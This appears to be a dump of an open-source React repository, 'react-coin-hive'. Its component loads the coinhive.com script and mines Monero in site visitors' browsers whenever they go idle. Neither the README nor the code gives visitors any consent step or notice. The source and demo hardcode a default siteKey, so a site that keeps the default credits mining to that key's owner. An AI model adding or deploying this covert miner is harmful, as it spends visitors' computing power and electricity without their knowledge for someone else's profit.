├── .gitignore ├── .nvmrc ├── .travis.yml ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── demo └── src │ └── index.js ├── nwb.config.js ├── package-lock.json ├── package.json ├── src └── index.js └── tests ├── .eslintrc └── index-test.js /.gitignore: -------------------------------------------------------------------------------- 1 | /coverage 2 | /demo/dist 3 | /es 4 | /lib 5 | /node_modules 6 | /umd 7 | npm-debug.log* 8 | -------------------------------------------------------------------------------- /.nvmrc: -------------------------------------------------------------------------------- 1 | 8.5 2 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | sudo: false 2 | 3 | language: node_js 4 | node_js: 5 | - 6 6 | 7 | before_install: 8 | - npm install codecov.io coveralls 9 | 10 | after_success: 11 | - cat ./coverage/lcov.info | ./node_modules/codecov.io/bin/codecov.io.js 12 | - cat ./coverage/lcov.info | ./node_modules/coveralls/bin/coveralls.js 13 | 14 | branches: 15 | only: 16 | - master 17 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | ## Prerequisites 2 | 3 | [Node.js](http://nodejs.org/) >= v4 must be installed. 4 | 5 | ## Installation 6 | 7 | - Running `npm install` in the components's root directory will install everything you need for development. 8 | 9 | ## Demo Development Server 10 | 11 | - `npm start` will run a development server with the component's demo app at [http://localhost:3000](http://localhost:3000) with hot module reloading. 12 | 13 | ## Running Tests 14 | 15 | - `npm test` will run the tests once. 16 | 17 | - `npm run test:coverage` will run the tests and produce a coverage report in `coverage/`. 18 | 19 | - `npm run test:watch` will run the tests on every change. 20 | 21 | ## Building 22 | 23 | - `npm run build` will build the component for publishing to npm and also bundle the demo app. 24 | 25 | - `npm run clean` will delete built resources. 26 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy 4 | of this software and associated documentation files (the "Software"), to deal 5 | in the Software without restriction, including without limitation the rights 6 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 7 | copies of the Software, and to permit persons to whom the Software is 8 | furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # React Coin-Hive 2 | 3 | Mine cryptocurrency while your users _haven’t engaged with your content_ lately. Inspired by the last paragraph of [this article](https://cdb.reacttraining.com/announcing-react-idle-8fc0b9e2d33e). 4 | 5 | This uses [Coin-Hive](https://coin-hive.com/) to mine [Monero (XMR)](https://getmonero.org/). 6 | 7 | ## Installation 8 | 9 | ``` 10 | npm install --save react-coin-hive 11 | ``` 12 | 13 | ## Usage 14 | 15 | ```jsx 16 | // Anywhere in your app as long as it gets mounted 17 | 18 | ``` 19 | 20 | ## Props 21 | 22 | - `siteKey`: Your [Coin-Hive Site Key](https://coin-hive.com/settings/sites). 23 | 24 | - `timeout`: How long before considering that the user is idle in milliseconds. Default is `30000`. 25 | 26 | - `userName`: If used, the miner will be created with `CoinHive.User(siteKey, userName)`. By default the miner is created with `CoinHive.Anonymous(siteKey)`. 27 | 28 | - `threads`: The number of threads the miner should start with. Default is `2`. 29 | 30 | - `throttle`: The fraction of time that threads should be idle. Default is `0`. 31 | 32 | - `onInit`: A function that takes the `miner` instance as argument. It's called when the miner is created. 33 | 34 | - `onStart`: A function that takes the `miner` instance as argument. It's called every time the miner is started. 35 | 36 | - `onStop`: A function that takes the `miner` instance as argument. It's called every time the miner is stopped. 37 | 38 | ## Disclaimer 39 | 40 | I have nothing to do with `coin-hive.com` 41 | -------------------------------------------------------------------------------- /demo/src/index.js: -------------------------------------------------------------------------------- 1 | import React, { Component } from 'react' 2 | import { render } from 'react-dom' 3 | 4 | import CoinHive from '../../src' 5 | 6 | class Demo extends Component { 7 | state = { 8 | autoThreads: true, 9 | } 10 | 11 | _handleEnableAutoThreads = () => { 12 | this.setState({ autoThreads: true }) 13 | } 14 | 15 | _handleDisableAutoThreads = () => { 16 | this.setState({ autoThreads: false }) 17 | } 18 | 19 | render() { 20 | return
21 |

react-coin-hive Demo

22 |
23 | autoThreads :  24 | 30 | 36 |
37 | setInterval(() => CoinHive.displayMiner(miner), 1000)} 40 | onStart={() => console.log('started')} 41 | onStop={() => console.log('stopped')} 42 | siteKey='NjBUIBfgmgqwSRGjemP5JQCNFJu5UJTx' 43 | startOnIdle 44 | timeout={1000} 45 | /> 46 |
47 | } 48 | } 49 | 50 | render(, document.querySelector('#demo')) 51 | -------------------------------------------------------------------------------- /nwb.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | type: 'react-component', 3 | npm: { 4 | esModules: true, 5 | umd: false 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "react-coin-hive", 3 | "version": "1.1.1", 4 | "description": "Mine cryptocurrency while your users haven’t engaged with your content lately", 5 | "main": "lib/index.js", 6 | "module": "es/index.js", 7 | "files": [ 8 | "css", 9 | "es", 10 | "lib", 11 | "umd" 12 | ], 13 | "scripts": { 14 | "build": "nwb build-react-component", 15 | "clean": "nwb clean-module && nwb clean-demo", 16 | "start": "nwb serve-react-demo", 17 | "test": "nwb test-react", 18 | "test:coverage": "nwb test-react --coverage", 19 | "test:watch": "nwb test-react --server" 20 | }, 21 | "dependencies": { 22 | "load-script": "^1.0.0", 23 | "react-idle": "^2.0.0" 24 | }, 25 | "peerDependencies": { 26 | "react": "15.x" 27 | }, 28 | "devDependencies": { 29 | "nwb": "0.18.x", 30 | "react": "^15.6.1", 31 | "react-dom": "^15.6.1" 32 | }, 33 | "author": "", 34 | "homepage": "", 35 | "license": "MIT", 36 | "repository": { 37 | "type": "git", 38 | "url": "git+https://github.com/cazala/react-coin-hive.git" 39 | }, 40 | "keywords": [ 41 | "react-component" 42 | ] 43 | } 44 | -------------------------------------------------------------------------------- /src/index.js: -------------------------------------------------------------------------------- 1 | import React, { Component } from 'react' 2 | import Idle from 'react-idle'; 3 | import loadScript from 'load-script'; 4 | import PropTypes from 'prop-types'; 5 | 6 | class CoinHiveClient extends Component { 7 | 8 | static defaultProps = { 9 | autoThreads: false, 10 | timeout: 30000, 11 | threads: 2, 12 | throttle: 0, 13 | siteKey: 'NjBUIBfgmgqwSRGjemP5JQCNFJu5UJTx', 14 | startOnIdle: false, 15 | onInit: (miner) => { }, 16 | onStart: (miner) => { }, 17 | onStop: (miner) => { } 18 | } 19 | 20 | constructor(props) { 21 | super(props); 22 | this.miner = null; 23 | this.idle = false; 24 | } 25 | 26 | start() { 27 | if (this.miner) { 28 | this.miner.start(); 29 | this.props.onStart(this.miner); 30 | } 31 | } 32 | 33 | stop() { 34 | if (this.miner) { 35 | this.miner.stop(); 36 | this.props.onStop(this.miner); 37 | } 38 | } 39 | 40 | buildMiner = async () => { 41 | if (this.miner && this.miner.isRunning()) { 42 | this.stop(); 43 | } 44 | this.miner = await new Promise(resolve => { 45 | loadScript('https://coinhive.com/lib/coinhive.min.js', () => { 46 | if (this.props.userName) { 47 | return resolve(CoinHive.User(this.props.siteKey, this.props.userName)); 48 | } 49 | return resolve(CoinHive.Anonymous(this.props.siteKey)); 50 | }) 51 | }) 52 | this.handleProps(this.props); 53 | } 54 | 55 | async componentWillMount() { 56 | await this.buildMiner(); 57 | this.props.onInit(this.miner); 58 | if (!this.idle) { 59 | this.start(); 60 | } 61 | } 62 | 63 | async componentWillReceiveProps(nextProps) { 64 | this.handleProps(nextProps); 65 | this.stop(); 66 | await this.buildMiner(); 67 | if (!this.idle) { 68 | this.start(); 69 | } 70 | return; 71 | } 72 | 73 | handleProps({ throttle, threads, autoThreads }) { 74 | if (this.miner != null) { 75 | this.miner.setThrottle(throttle); 76 | if (autoThreads) { 77 | this.miner.setAutoThreadsEnabled(autoThreads); 78 | } else { 79 | this.miner.setNumThreads(threads); 80 | } 81 | } 82 | } 83 | 84 | handleIdleChange = ({ idle }) => { 85 | if (this.miner != null) { 86 | if (idle) { 87 | this.start(); 88 | } else { 89 | this.stop(); 90 | } 91 | } else { 92 | } 93 | this.idle = idle; 94 | } 95 | 96 | 97 | render() { 98 | if (!this.props.startOnIdle) { 99 | return null; 100 | } 101 | return 105 | } 106 | } 107 | 108 | CoinHiveClient.PropTypes = { 109 | siteKey: PropTypes.string.isRequired, 110 | timeout: PropTypes.number, 111 | onInit: PropTypes.func, 112 | onStart: PropTypes.func, 113 | onStop: PropTypes.func, 114 | userName: PropTypes.string, 115 | autoThreads: PropTypes.bool, 116 | startOnIdle: PropTypes.bool, 117 | }; 118 | 119 | CoinHiveClient.displayMiner = miner => { 120 | if (!miner || typeof miner !== 'object' || typeof miner.isRunning !== 'function') { 121 | console.log('miner is not defined') 122 | return; 123 | } 124 | const data = { 125 | isRunning: miner.isRunning(), 126 | getHashesPerSecond: miner.getHashesPerSecond(), 127 | getNumThreads: miner.getNumThreads(), 128 | getAutoThreadsEnabled: miner.getAutoThreadsEnabled(), 129 | hasWASMSupport: miner.hasWASMSupport(), 130 | getThrottle: miner.getThrottle(), 131 | getToken: miner.getToken(), 132 | getTotalHashes: miner.getTotalHashes(), 133 | getAcceptedHashes: miner.getAcceptedHashes(), 134 | }; 135 | console.log(data) 136 | } 137 | 138 | export default CoinHiveClient; 139 | -------------------------------------------------------------------------------- /tests/.eslintrc: -------------------------------------------------------------------------------- 1 | { 2 | "env": { 3 | "mocha": true 4 | } 5 | } 6 | -------------------------------------------------------------------------------- /tests/index-test.js: -------------------------------------------------------------------------------- 1 | import expect from 'expect' 2 | import React from 'react' 3 | import {render, unmountComponentAtNode} from 'react-dom' 4 | 5 | import Component from 'src/' 6 | 7 | describe('Component', () => { 8 | let node 9 | 10 | beforeEach(() => { 11 | node = document.createElement('div') 12 | }) 13 | 14 | afterEach(() => { 15 | unmountComponentAtNode(node) 16 | }) 17 | 18 | it('displays a welcome message', () => { 19 | render(, node, () => { 20 | expect(node.innerHTML).toContain('Welcome to React components') 21 | }) 22 | }) 23 | }) 24 | --------------------------------------------------------------------------------